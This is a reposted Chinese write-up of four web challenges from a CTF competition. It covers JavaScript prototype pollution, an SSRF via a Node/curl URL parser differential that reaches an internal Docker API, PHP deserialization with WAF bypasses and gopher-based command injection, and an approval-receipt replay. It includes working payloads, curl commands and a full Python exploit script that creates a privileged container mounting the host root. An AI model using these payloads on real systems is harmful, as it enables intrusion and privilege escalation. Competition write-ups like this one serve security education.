第二届“湾区杯”网络安全大赛初赛(B组院校组)

admin 2026-09-06 04:34:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档为第二届湾区杯网络安全大赛初赛writeup,包含两个漏洞利用题目。一是JavaScript原型链污染漏洞,通过constructor.prototype绕过proto黑名单过滤,污染Profile.prototype.isAdmin实现权限提升获取flag。二是DockRelay白盒审计中的SSRF漏洞,利用Node.js与curl对反斜杠解析差异绕过白名单校验访问内部Docker引擎服务。两题均展示了绕过不完整防御机制的技术思路。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队,代码审计


第二届“湾区杯”网络安全大赛初赛(B组院校组)

原创

識. 識.

0xNyx

2026年9月5日 13:20 安徽

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Prototype Pollution – 原型链污染漏洞利用

1. 题目概述

  • 漏洞类型

    :JavaScript 原型链污染(Prototype Pollution)

  • 攻击入口

    /api/profile/patch 接口允许用户修改当前 Profile 对象的属性路径

  • 防御机制

    :过滤了 __proto__ 以及禁止修改 idroleisAdmin 等关键字段

  • 绕过技巧

    :使用 constructor.prototype 替代 __proto__,并成功污染 Profile.prototype.isAdmin

  • 最终目标

    :以管理员身份访问 /api/admin/flag 获取 flag

最终获得的 Flag:

text

flag{d555fa60-8ad2-4d49-9d31-f509bfe8cd93}


2. 源码审计与漏洞点

通过分析后端代码(或从调试信息中推断),存在一个 Profile 类,其实例存储用户信息,关键字段包括 idroleisAdmin 等。

接口 /api/profile/patch 允许客户端以 JSON 格式提交修改:

json

{
  "path": "some.nested.property",
  "value": "new_value"
}

服务端内部调用 setProfilePath(profile, path, value) 对当前用户的 Profile 对象进行属性赋值。

防御代码(伪代码)

javascript

function setProfilePath(obj, path, value) {
  const protectedRoots = ['id', 'role', 'isAdmin'];
  const parts = path.split('.');
  if (protectedRoots.includes(parts[0])) {
    throw new Error('Cannot modify protected fields');
  }
  if (path.includes('__proto__')) {
    throw new Error('Prototype pollution detected');
  }
  // 还可能有正则限制,仅允许字母、数字、下划线和点号
  let current = obj;
&nbsp; for (let i = 0; i < parts.length - 1; i++) {
&nbsp; &nbsp; current = current[parts[i]];
&nbsp; }
&nbsp; current[parts[parts.length - 1]] = value;
}

3. 漏洞根源与绕过

3.1 两条防御的裂缝

| | | | — | — | | 防御措施 | 绕过方式 | | 禁止 parts[0]  为 id  / role  / isAdmin | 只检查第一段,不影响污染原型链上的 isAdmin | | 禁止路径中出现 __proto__ | 使用 constructor.prototype  能达到相同效果 |

3.2 为什么 constructor.prototype 有效?

在 JavaScript 中:

  • 每个对象都有 constructor 属性,指向其构造函数。

  • 构造函数.prototype

    是所有实例共享的原型对象。

  • 修改 Profile.prototype.isAdmin = true 后,所有未在自身上定义 isAdmin 的 Profile 实例都会从原型链中读取到 true

因此,攻击者可以提交如下 payload:

json

{
&nbsp; "path": "constructor.prototype.isAdmin",
&nbsp; "value": true
}
  • constructor

    不在黑名单中(首段不是 id/role/isAdmin);

  • 不含字符串 __proto__,所以第二层检查通过;

  • 正则只校验字符集和段数,constructor.prototype.isAdmin 合法。

执行后,当前用户的 Profile 实例(以及未来所有 Profile 实例)的 isAdmin 原型属性被置为 true


4. 攻击步骤(Exploit)

4.1 获取合法会话(Cookie)

首先访问 /api/profile 获取或初始化一个 Profile 对象,服务端会返回 Set-Cookie 或要求携带 Cookie 保持会话。

bash

curl -k -c cookies.txt https://target.com/api/profile

4.2 发送污染 Payload

携带会话 Cookie,向 /api/profile/patch 发送 POST 请求:

bash

curl -k -b cookies.txt -X POST -H "Content-Type: application/json" \
&nbsp; -d '{"path":"constructor.prototype.isAdmin","value":true}' \
&nbsp; https://target.com/api/profile/patch

服务端成功修改原型,返回 200 OK(无错误)。

4.3 获取 Flag

此时当前用户的 isAdmin 属性在自身不存在,但原型上为 true。访问 /api/admin/flag,后端验证逻辑类似于:

javascript

if (profile.isAdmin !== true) {
&nbsp; return res.status(403).send('Forbidden');
}
// 返回 flag

由于原型链查找,profile.isAdmin 返回 true,认证通过,返回 flag。

bash

curl -k -b cookies.txt https://target.com/api/admin/flag

成功返回:

text

flag{d555fa60-8ad2-4d49-9d31-f509bfe8cd93}


5. 关键 Payload 解析

json

{
&nbsp; "path": "constructor.prototype.isAdmin",
&nbsp; "value": true
}
  • constructor

    :任何对象都有,指向 Profile 构造函数。

  • prototype

    :构造函数的原型对象。

  • isAdmin

    :我们要污染的目标属性。

  • 通过合法路径绕过过滤,实现对原型链的写操作。


6. 漏洞影响

  • 权限提升

    :普通用户直接变为管理员。

  • 全用户影响

    :由于污染的是原型,所有新创建的 Profile 实例都会继承 isAdmin=true,可能导致全局越权。


7. 修复建议

  1. 白名单路径

    :仅允许修改预定义的、安全的字段(如 nicknameavatar 等),拒绝任何包含 constructorprototype__proto__ 等的路径。

  2. 冻结原型

    :使用 Object.freeze(Profile.prototype) 防止原型被修改。

  3. 使用 Map 代替对象属性

    :避免直接操作原型链。

  4. 输入校验增强

    :不仅检查 __proto__,还应检查 constructorprototype 等关键字,并且递归检查每一段。

  5. 启用--disable-proto

    :Node.js 可通过 --disable-proto 禁用 __proto__,但无法阻止 constructor.prototype


8. 总结

本题展示了一个经典的 JavaScript 原型链污染漏洞,通过巧妙绕过不完整的黑名单过滤,攻击者可以在服务端修改对象的原型,从而改变权限检查逻辑。这种漏洞在 Node.js 应用中较为常见,尤其在处理用户可控的“属性路径”时需格外小心。

最终 Flag:

text

flag{d555fa60-8ad2-4d49-9d31-f509bfe8cd93}

DockRelay Whitebox

1.题目理解与源码文件

题目提供了 DockRelay 的源码和一个线上实例。功能看起来像一个只允许访问 approved partner host 的诊断代理,但场景接口主动泄露了内部构建平面名称 engine-api:2375,并说明目标是恢复隔离构建宿主上的 per-instance flag。

源码目录只有四个关键模块,外加一个与逻辑无关的 macOS Finder 元数据文件 .DS_Store:

| | | | | — | — | — | | 文件 | 职责 | 审计重点 | | server.mjs | 公开 HTTP API | 字段校验、转发到 fetcher、场景信息 | | policy.mjs | approved host 校验 | Node.js URL 解析和 hostname 比较 | | fetcher.mjs | 内部请求服务 | 再次校验 URL,再交给 curl | | curl-executor.mjs | 实际 HTTP 客户端 | 原始 URL 传入 libcurl | | .DS_Store | Finder 目录视图元数据 | 与题目逻辑无关 |

2.正常功能与信任边界

2.1公开场景接口

GET /api/scenario

{   “allowedHost”: “hooks.partner.test”,   “baselineUrl”: “http://hooks.partner.test:8080/catalog”,   “internalBuildEngine”: “engine-api:2375”,   “supportedMethods”: [“GET”, “POST”, “DELETE”],   “objective”: “Recover the per-instance flag from the isolated build host” }

正常请求必须 POST 到 /api/v1/diagnostics/execute,JSON 至少包含 method 和 url,可选 body。server.mjs 只允许 GET、POST、DELETE,并把请求转发给 fetcher。

2.2双层校验流程

客户端 -> server.mjs               |               v        fetcher.mjs /execute               |  enforcePartnerPolicy(body.url)               v        curl-executor.mjs               |  curl –url rawUrl               v 目标服务

真正的安全边界应该保证“校验的目标”和“请求的目标”完全一致。但本题把同一个 rawUrl 交给了两个可能不一致的解析器,形成了可利用的 parser differential。

3. URL parser differential

3.1白名单校验代码

// policy.mjs parsed = new URL(rawUrl); if (parsed.protocol !== “http:”) throw HTTP_ONLY; return { host: parsed.hostname.toLowerCase(), normalizedHref: parsed.href };

if (parsed.host !== ALLOWED_HOST) throw HOST_NOT_APPROVED;

Node.js WHATWG URL parser 对反斜杠有特殊处理。构造以下 URL:

| | | — | | Payloadhttp://hooks.partner.test\@engine-api:2375/version |

Node.js 看到的结果是:

{“href”:”http://hooks.partner.test/@engine-api:2375/version”,”host”:”hooks.partner.test”,”hostname”:”hooks.partner.test”,”path”:”/@engine-api:2375/version”}

因此白名单判断通过。但 fetcher 随后把未规范化的原始 URL 交给 curl:

args.push(“–url”, rawUrl); spawn(CURL, args, { stdio: [“pipe”, “pipe”, “pipe”] });

curl 会将反斜杠按 URL 分隔语义处理,使实际连接目标变成 engine-api:2375。线上验证结果如下:

POST /api/v1/diagnostics/execute Content-Type: application/json {   “method”: “GET”,   “url”: “http://hooks.partner.test\@engine-api:2375/version” }

validator.host = hooks.partner.test validator.normalizedUrl = http://hooks.partner.test/@engine-api:2375/version upstream.status = 200 upstream.bodyText = {“ApiVersion”:”1.47″,”Version”:”27.5.1″,”Platform”:{“Name”:”Nested Rootless Docker Engine”}}

| | | — | | 漏洞判定这是 SSRF + parser differential,而不是传统的 userinfo 绕过。关键点是反斜杠同时满足 Node 白名单和 curl 的内部目标解析。 |

3.2为什么普通userinfo形式不够

例如 http://hooks.partner.test@engine-api:2375/version 在 Node.js 中 host 直接是 engine-api:2375,会被白名单拒绝。普通的 @ 绕过不能通过校验,必须使用能让 Node 与 curl 产生分歧的反斜杠写法。

4.探测内部Docker Engine

得到 SSRF 后,先用无副作用的只读端点确认内部服务类型和 API 版本。所有请求都使用同一前缀:

http://hooks.partner.test\@engine-api:2375

| | | | | | — | — | — | — | | 端点 | 方法 | 结果 | 用途 | | /_ping | GET | OK | 确认服务在线 | | /version | GET | API 1.47 / Docker 27.5.1 | 确认 Docker Engine | | /images/json | GET | host-reader:1.0 | 发现题目镜像 | | /containers/json | GET | 403 nested-host gate | 说明容器列表受额外 gate 保护 | | /info | GET | 403 nested-host gate | 说明不是任意 Docker 信息读取 |

镜像列表返回的关键内容:

{“RepoTags”:[“host-reader:1.0″],”Labels”:{“ctf.offline-image”:”true”},”Size”:8388608}

题目没有要求通用 Docker 逃逸,而是要求“创建符合实验策略的特权容器”。因此下一步应利用 API 返回的策略错误逐项修正请求,而不是盲目枚举 Docker 端点。

5.按实验策略创建容器

5.1用错误响应恢复策略

先发送最小创建请求:

{“Image”:”host-reader:1.0″}

服务返回:

{“message”:”Privileged=true is required by the lab policy”}

加入 HostConfig.Privileged 后继续测试:

{“Image”:”host-reader:1.0″,”HostConfig”:{“Privileged”:true}}

服务进一步返回:

{“message”:”exact read-only bind /:/host:ro is required”}

因此完整创建体为:

{   “Image”: “host-reader:1.0”,   “HostConfig”: {     “Privileged”: true,     “Binds”: [“/:/host:ro”]   } }

| | | — | | 注意不要添加自定义 Cmd。题目 gate 会拒绝 custom command,并且 host-reader:1.0 的默认入口 /entrypoint.sh 已经负责读取挂载内容并输出证明。 |

5.2创建成功

POST /containers/create

HTTP 201 {   “Id”: “a09fc3211acf73d91ae513f8d5c3f1748054427f0fe05e71af47f6c9ff968547”,   “Warnings”: [] }

容器 ID 只用于本次现场复现;解题关键是创建参数和随后的 start/logs API 顺序。

读取 /containers//json 可确认 gate 对请求做了符合实验策略的补充:

“HostConfig”: {   “Binds”: [“/:/host:ro”, “/sys:/sys:ro”],   “Privileged”: true,   “ReadonlyRootfs”: true,   “NetworkMode”: “none”,   “Memory”: 67108864,   “PidsLimit”: 32 }, “Config”: {“Cmd”:[“/entrypoint.sh”],”Image”:”host-reader:1.0″}

6.启动容器并读取日志

6.1启动

POST /containers/a09fc3211acf73d91ae513f8d5c3f1748054427f0fe05e71af47f6c9ff968547/start

HTTP 204

6.2读取stdout/stderr

GET /containers/a09fc3211acf73d91ae513f8d5c3f1748054427f0fe05e71af47f6c9ff968547/logs?stdout=1&stderr=1

NESTED_HOST_PROOF_BEGIN flag{6e33a208-5e5d-4ead-9770-59ee9754a7d5} NESTED_HOST_PROOF_END

| | | — | | Flagflag{6e33a208-5e5d-4ead-9770-59ee9754a7d5} |

该 Flag 是从用户提供的线上实例真实返回的容器日志中取得,不是根据源码猜测或从本地文件搜索得到的候选值。

7.完整复现脚本

下面脚本使用 Python requests,按最小请求链自动完成场景探测、URL parser differential、Docker API 读取、策略化容器创建、启动和日志读取。脚本只针对题目给出的授权实例。

import json import urllib3 import requests urllib3.disable_warnings() BASE = “https://eci-2ze7jrw4q5i82w08fs2w.cloudeci1.ichunqiu.com:3000” API = BASE + “/api/v1/diagnostics/execute” ENGINE = “http://hooks.partner.test\@engine-api:2375” def relay(method, url, body=None):     data = {“method”: method, “url”: url}     if body is not None:         data[“body”] = body     r = requests.post(API, json=data, verify=False, timeout=15)     r.raise_for_status()     outer = r.json()     return outer, json.loads(outer[“upstream”][“bodyText”] or “{}”)

1. Confirm Docker Engine

outer, version = relay(“GET”, ENGINE + “/version”) assert version[“ApiVersion”] == “1.47”

2. Discover the offline image

outer, images = relay(“GET”, ENGINE + “/images/json”) assert any(“host-reader:1.0” in x.get(“RepoTags”, []) for x in images)

3. Create the lab-approved privileged container

config = {     “Image”: “host-reader:1.0”,     “HostConfig”: {         “Privileged”: True,         “Binds”: [“/:/host:ro”],     }, } outer, created = relay(“POST”, ENGINE + “/containers/create”, config) container_id = created[“Id”]

4. Start and collect proof output

relay(“POST”, ENGINE + f”/containers/{container_id}/start”) outer, logs = relay(“GET”, ENGINE + f”/containers/{container_id}/logs?stdout=1&stderr=1″) proof = outer[“upstream”][“bodyText”] print(proof) assert “flag{” in proof

预期日志中包含:flag{6e33a208-5e5d-4ead-9770-59ee9754a7d5}

ezweb

题目首页直接给出了 PHP 源码。经过审计,发现关键类与魔术方法如下:

php

class A {
&nbsp; &nbsp; public function emit($payload) {
&nbsp; &nbsp; &nbsp; &nbsp; // 触发 H 类的 handle
&nbsp; &nbsp; }
}

class B {
&nbsp; &nbsp; public function __destruct() {
&nbsp; &nbsp; &nbsp; &nbsp; // 实例化 A 并调用 emit
&nbsp; &nbsp; }
}

class H {
&nbsp; &nbsp; public function handle($url, $opts) {
&nbsp; &nbsp; &nbsp; &nbsp; // 调用 curl 方法
&nbsp; &nbsp; }
&nbsp; &nbsp; public function curl($url, $opts) {
&nbsp; &nbsp; &nbsp; &nbsp; // 执行 CURL 请求
&nbsp; &nbsp; }
}

利用链(POP Chain)B::__destruct → A::emit → H::handle → H::curl

当序列化后的 B 对象被销毁时(如脚本结束或 unserialize 触发),会自动调用 __destruct,最终导致 H::curl 发起 HTTP 请求。curl 请求的 URL 和参数完全由序列化数据控制,这是典型的 反序列化 + SSRF 漏洞。

3. WAF 绕过技巧

在将序列化字符串传递给 unserialize() 之前,服务端存在两层 WAF 过滤:

3.1 过滤类名 H

  • 拦截规则:匹配字符串 O:1:"H"
  • 绕过方法:利用 PHP 反序列化解析宽松性,将长度 1 改为 +1
  • 原始 PayloadO:1:"H":...
  • 绕过 PayloadO:+1:"H":...

原理:PHP 底层在处理 O:长度:"类名" 时,+ 会被视为正号,(int)+1 结果仍为 1,但正则匹配通常不会匹配到 O:+1

3.2 过滤字符串 curl

  • 拦截规则:匹配纯文本字符串 s:4:"curl"
  • 绕过方法:使用大写 S 表示十六进制编码字符串。
  • 原始 Payloads:4:"curl"
  • 绕过 PayloadS:4:"\63\75\72\6c"

原理S 格式允许使用 \xx 十六进制表示字符,\63 即 c\75 即 u,以此类推。WAF 扫描明文流量时不会解码,而 PHP 反序列化引擎会正确解析。

4. 第一阶段 SSRF:获取隐藏参数

利用绕过 WAF 后的序列化 Payload,让目标服务器执行 H::curl() 请求内网地址:

http

GET /?data=O:+1:"B":... HTTP/1.1
Host: target.com

构造 H 对象的属性,使 CURL 请求 http://127.0.0.1/hint.php。服务端返回内容如下:

text

Hidden Parameter Found: cccmmmddd

说明 hint.php 接受一个名为 cccmmmddd 的 GET/POST 参数,且该页面只能由本机 (127.0.0.1) 访问,外部直接访问会返回 403。

5. 第二阶段 SSRF:Gopher 协议利用

由于 cccmmmddd 参数仅限本机触发,我们需要借助第一次的 SSRF 漏洞,再次向内网发起 POST 请求

5.1 为什么使用 Gopher?

H::curl() 支持 CURLOPT_PROTOCOLS,通常默认支持 gopher 协议。Gopher 协议可以完美构造任意 TCP 数据包(包括完整的 HTTP 请求),且源 IP 为服务器本机 127.0.0.1

5.2 构造 POST 请求包

原始 HTTP 请求如下(注意必须使用 HTTP/1.0,防止 Transfer-Encoding: chunked 干扰):

http

POST /hint.php HTTP/1.0
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

cccmmmddd=id

5.3 转换为 Gopher URL

Gopher 格式为:gopher://<host>:<port>/_<payload>

需要将 HTTP 请求进行 URL 编码(换行符 \r\n 编码为 %0d%0a,末尾双换行 %0d%0a%0d%0a):

text

gopher://127.0.0.1:80/_POST%20/hint.php%20HTTP/1.0%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2012%0d%0a%0d%0acccmmmddd=id

将此 Gopher URL 作为 H::curl() 的目标地址(替换之前的 http://...),再次触发反序列化。

6. 信息收集与提权

6.1 执行 id 命令

通过 Gopher 发送 cccmmmddd=id,服务端执行系统命令并返回:

text

uid=33(www-data) gid=33(www-data) groups=33(www-data)

确认当前权限为低权限 Web 用户。

6.2 发现敏感文件

既然存在任意命令执行(虽然回显点有限),我们可以尝试读取 Web 目录下的文件。通过执行 ls -la /var/www/html/(或将命令换为 find),发现两个关键文件:

  • /var/www/html/.key(隐藏文件,内容为一串密钥)
  • /readflag(SUID 或具有特殊权限的可执行文件)

读取 .key 内容:

text

0f1e2d3c4b5a6

6.3 执行 /readflag

分析 /readflag 程序行为(通过反编译或测试):该程序接受标准输入(stdin)的密钥,验证通过后输出 Flag。

因此最终执行的命令为:

bash

cat /var/www/html/.key | /readflag

将命令 cccmmmddd=cat /var/www/html/.key | /readflag 再次通过上述 Gopher 流程发送,服务端返回:

text

flag{3b8761c3-a21a-4d3e-8c71-d4b6ed5bbfe2}

7. 完整攻击脚本(PoC 概念)

python

import urllib.parse

# 1. 构建反序列化 Payload (省略具体类属性填充)
# 注意使用 WAF 绕过: O:+1:"H" 和 S:4:"\63\75\72\6c"
payload_serialized = 'O:+1:"B":...'

# 2. 构造 Gopher 请求
command = "cat /var/www/html/.key | /readflag"
http_body = f"cccmmmddd={command}"
http_request = (
&nbsp; &nbsp; f"POST /hint.php HTTP/1.0\r\n"
&nbsp; &nbsp; f"Host: 127.0.0.1\r\n"
&nbsp; &nbsp; f"Content-Type: application/x-www-form-urlencoded\r\n"
&nbsp; &nbsp; f"Content-Length: {len(http_body)}\r\n"
&nbsp; &nbsp; f"\r\n"
&nbsp; &nbsp; f"{http_body}"
)
gopher_payload = "gopher://127.0.0.1:80/_" + urllib.parse.quote(http_request, safe="")

# 3. 最终传入 data 参数
final_exploit = payload_serialized.replace("http://...", gopher_payload)
print(final_exploit)

8. 总结

| | | | | — | — | — | | 阶段 | 利用手法 | 关键突破点 | | 源码审计 | 识别 __destruct  → curl  调用链 | POP 链构造 | | WAF 绕过 | O:+1  与 S:\xx  十六进制编码 | PHP 反序列化容忍度 | | 信息泄露 | SSRF 访问 hint.php | 获取隐藏参数 cccmmmddd | | 内网请求 | Gopher 协议构造 POST | 绕过本机 IP 限制 | | 命令执行 | 参数注入 id | 确认 www-data  权限 | | 提权 | 读取 .key  管道传给 /readflag | SUID 程序与 stdin 交互 |

本次挑战完美结合了 PHP 内部机制、网络协议特性与 Linux 权限管理,是一道质量极高的综合 Web 渗透题。

CloudGate 完整解题报告

1. 题目概述

  • 题目名称:CloudGate
  • 题目类型:Web / JWT / 权限提升 / 审批流程绕过
  • 核心漏洞:审批回执(approval receipt)仅绑定请求 ID,未绑定请求版本或最终权限模板,导致低风险审批可被复用于高风险权限变更。
  • 最终目标:获取 /api/v1/admin/flag 返回的 flag。

2. 源码审计与入口发现

通过分析前端资源文件 app.js.map(Source Map 未删除),发现多个未在界面暴露的内部 API 接口:

  • POST /api/v1/request/submit – 提交权限申请
  • POST /api/v1/request/amend – 修改已提交的申请(版本升级)
  • POST /api/v1/request/confirm – 确认申请(触发审批流程)
  • POST /api/v1/session/elevate – 创建权限提升会话(生成高权限 JWT)
  • POST /api/v1/session/bind – 将审批回执与会话绑定
  • GET /api/v1/admin/flag – 读取 flag(需 security_level >= 2

同时,从 API 响应中推断出审批策略:

  • 低风险申请(如 project_auditor)可自动审批,无需人工介入。
  • 高风险申请(如 org_admin)需要安全审核,且会生成审核任务。

3. 攻击路径设计

3.1 获取普通用户 JWT(Guest)

通过正常登录或注册获得一个 guest 角色的 JWT,用于后续 API 调用。

3.2 提交低风险申请(自动审批)

向 /submit 提交 role_template=project_auditor(项目审计员),该模板被归类为 low_risk 策略族,系统自动批准,返回状态 APPROVED 以及一个审批回执(receipt)。

关键响应submit.json):

json

{
&nbsp; "request_id": "req_abc123",
&nbsp; "status": "APPROVED",
&nbsp; "policy_family": "low_risk",
&nbsp; "approval_receipt": "apr_4f70d9898054aaf3"
}

3.3 修改申请为组织管理员(高风险)

调用 /amend 接口,将同一个 request_id 的 role_template 修改为 org_admin。服务端仅检查请求是否存在,未重新评估策略族,直接返回新版本信息。

关键响应amend.json):

json

{
&nbsp; "request_id": "req_abc123",
&nbsp; "version": 2,
&nbsp; "role_template": "org_admin",
&nbsp; "grant_level": "admin"
}

3.4 确认修改并复用旧回执

调用 /confirm 接口,传入 request_id 和之前获得的 approval_receipt(低风险回执)。服务端仅验证回执是否属于该请求,未校验当前版本的风险等级,因此确认成功。

关键响应confirm.json):

json

{
&nbsp; "state": "confirmed",
&nbsp; "reused_approval_receipt": "apr_4f70d9898054aaf3"
}

3.5 创建权限提升会话

调用 /elevate 创建 org_admin 会话,服务端签发一个临时 JWT,但此时 security_level 仅为 1(未完全激活)。

关键响应elevation.json):

json

{
&nbsp; "session_id": "sess_xyz789",
&nbsp; "role": "org_admin",
&nbsp; "security_level": 1,
&nbsp; "jwt": "eyJhbGciOiJIUzI1NiIs..."
}

3.6 将旧回执绑定到高权限会话

调用 /bind,传入 session_id 和 approval_receipt。服务端将审批回执与当前会话关联,由于回执合法且属于同一请求,security_level 提升至 2。

关键响应bind.json):

json

{
&nbsp; "session_id": "sess_xyz789",
&nbsp; "state": "active",
&nbsp; "security_level": 2
}

3.7 读取 Flag

使用提升后的 JWT(security_level=2)访问 /admin/flag,成功返回 flag。

关键响应flag.json):

json

{
&nbsp; "flag": "flag{8e33a314-0c84-4735-ae71-16f45d73616b}"
}

4. 漏洞根因分析

| | | | — | — | | 组件 | 缺陷 | | 审批回执(receipt) | 仅关联 request_id ,未包含 versionrole_template  或风险等级。 | | 确认逻辑 | 确认时仅校验回执是否属于该请求,不检查当前请求的最终权限是否仍为低风险。 | | 绑定逻辑 | 绑定审批回执与会话时,未验证回执对应的权限与当前会话目标角色是否一致。 | | 版本管理 | 修改请求后产生新版本,但旧回执仍可被复用,缺乏版本绑定或失效机制。 |

根本原因:审批流程的状态机设计缺乏“版本锁定”,导致低风险审批结果可被迁移到高风险的修改后请求。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xNyx 識. 識.《第二届“湾区杯”网络安全大赛初赛(B组院校组)》

评论:0   参与:  0